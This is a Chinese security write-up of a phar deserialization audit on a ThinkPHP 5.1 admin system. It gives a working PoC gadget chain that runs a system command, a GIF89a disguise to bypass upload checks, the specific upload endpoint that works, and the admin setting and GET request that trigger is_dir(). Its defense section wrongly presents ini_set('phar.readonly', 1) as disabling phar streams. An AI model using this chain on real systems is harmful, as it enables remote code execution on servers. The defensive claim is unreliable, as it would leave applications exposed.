某次phar反序列化审计捡漏记录
字数 1290 2025-08-20 18:18:10
Phar反序列化漏洞审计与利用详解
一、Phar反序列化基础原理
1. Phar文件简介
Phar(PHP Archive)是PHP的打包文件格式,自PHP 5.3引入,类似于Java的JAR文件。它可以将多个PHP文件、资源等打包成一个.phar文件,PHP可以直接执行其中的代码而无需解压。
2. 反序列化漏洞成因
Phar文件会以序列化的形式存储用户自定义的meta-data数据。当PHP使用某些文件系统函数操作Phar文件时,会自动反序列化这些meta-data,如果meta-data中包含恶意构造的序列化数据,就可能触发反序列化漏洞。
3. 触发Phar反序列化的文件系统函数
以下是一些常见的可以触发Phar反序列化的PHP文件系统函数:
file_exists()is_file()is_dir()file_get_contents()file_put_contents()file()fopen()unlink()stat()readfile()
二、漏洞审计过程
1. 目标选择
选择使用ThinkPHP 5.1框架的系统,因为:
- 该框架有公开的反序列化利用链
- 框架广泛使用,目标系统较多
2. 审计方法
全局搜索可能触发Phar反序列化的函数调用,特别是参数可控的情况:
grep -r "is_file\|is_dir\|file_exists" /path/to/code
3. 发现漏洞点
在/application/admin/controller/Database.php中发现is_dir()调用,参数可控:
// 数据库备份路径判断
if (!is_dir($backupPath)) {
// ...
}
4. 利用条件
需要满足两个条件:
- 能够上传恶意Phar文件到服务器
- 能够控制
is_dir()的参数指向该Phar文件
三、漏洞利用步骤
1. 构造恶意Phar文件
使用以下PoC生成Phar文件:
<?php
namespace think\process\pipes {
class Windows {
private $files;
public function __construct($files) {
$this->files = [$files];
}
}
}
namespace think\model\concern {
trait Conversion {}
trait Attribute {
private $data;
private $withAttr = ["lin" => "system"];
public function get() {
$this->data = ["lin" => "dir"];
}
}
}
namespace think {
abstract class Model {
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model {
use think\Model;
class Pivot extends Model {
public function __construct() {
$this->get();
}
}
}
namespace {
$conver = new think\model\Pivot();
$payload = new think\process\pipes\Windows($conver);
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a' . "<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($payload);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
echo urlencode(serialize($payload));
}
?>
2. 绕过上传限制
由于系统对上传文件有MIME类型和后缀名限制,需要对Phar文件进行伪装:
- 添加任意文件头(如GIF89a)
- 修改文件后缀为允许的类型(如.zip、.docx等)
3. 上传恶意文件
发现两种上传方式:
- 直接上传接口(失败):
POST /admin.php/admin/attachment/upload/dir/images/module/admin.html
失败原因:当dir=images时会调用图像校验函数
- UEditor上传接口(成功):
POST /admin.php/admin/attachment/upload/dir/files/module/admin.html
将dir参数改为files,并上传伪装后的Phar文件
4. 设置数据库备份路径
在后台系统设置中,将数据库备份路径设置为上传的恶意文件路径:
系统设置 → 数据库 → 数据库备份根路径
5. 触发漏洞
访问调用is_dir()函数的页面触发漏洞:
GET /admin.php/admin/database/index/group/import.html
四、防御措施
1. 开发者防御
- 禁用Phar流:
ini_set('phar.readonly', 1); - 对文件系统函数参数进行严格过滤
- 使用
realpath()解析路径,避免目录穿越 - 更新框架版本,使用修复后的ThinkPHP
2. 管理员防御
- 限制后台访问IP
- 禁用不必要的文件上传功能
- 定期更新系统补丁
五、总结
Phar反序列化漏洞利用需要满足以下条件:
- 存在可触发Phar反序列化的文件操作函数
- 参数可控且未进行严格过滤
- 能够上传恶意Phar文件到服务器
- 有可用的反序列化利用链
通过本文的审计过程可以看出,即使系统有上传限制,通过适当的伪装仍然可能绕过防御。因此,安全防护需要多层次、多角度的综合措施。